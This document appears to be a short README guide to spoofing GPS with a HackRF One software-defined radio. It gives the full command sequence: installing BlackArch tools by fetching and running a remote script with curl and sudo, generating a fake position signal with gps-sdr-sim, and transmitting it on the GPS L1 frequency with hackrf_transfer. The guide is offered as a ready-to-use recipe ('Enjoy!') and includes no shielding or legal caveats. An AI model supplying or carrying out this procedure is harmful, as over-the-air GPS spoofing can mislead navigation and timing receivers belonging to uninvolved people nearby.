How to fool your GPS enabled devices using Software Defined Radio, in this case using the HackRF One.
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# gps_spoofing
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How to fool your GPS enabled devices using Software Defined Radio, in this case using the HackRF One.
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This guide is written for Arch linux. But should be relatively consistent with other platforms.
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## installing
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you could build gps-sdr-sim from scratch, but I choose to use the binary provided by the 'blackarch' distro's repository.
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### Prerequisits
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```
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$ curl -O https://blackarch.org/strap.sh
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$ chmod +x strap.sh
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$ sudo ./strap.sh (installing the keyring step takes a few minutes)
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$ sudo pacman -Syyu (update pacman sources etc. although stap.sh already seems to take care of this)
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$ sudo pacman -S blackarch-radio (just install all the radio stuff (1Gb))
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$ sudo modprobe hackrf (load the hackrf kernel module/driver)
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$ hackrf_info (see if you can see your hack rf one)
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```
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Download the latest brdc file from here: ftp://cddis.gsfc.nasa.gov/gnss/data/daily
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(for example: ftp://cddis.gsfc.nasa.gov/gnss/data/daily/2020/brdc/brdc1460.20g.Z)
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Extract the compressed file in a place you will remember
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### Generate location
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Generate binary file to be transmitted by hackrf:
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```
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$ gps-sdr-sim -b 8 -e ~/LOCATION_OF_YOUR_BRDC/brdc1460.20n -l 45.803304, 12.133697,100
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```
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The last part is the location of your choosing. This will run for 300 seconds and generate a 'gpssim.bin' file.
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### Spoof location
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To transmit your spoofed gps position using the hackrf use the follwing command:
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```
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$ hackrf_transfer -t ~/LOCATION_OF_YOUR_BIN_FILE/gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0
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```
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Enjoy!
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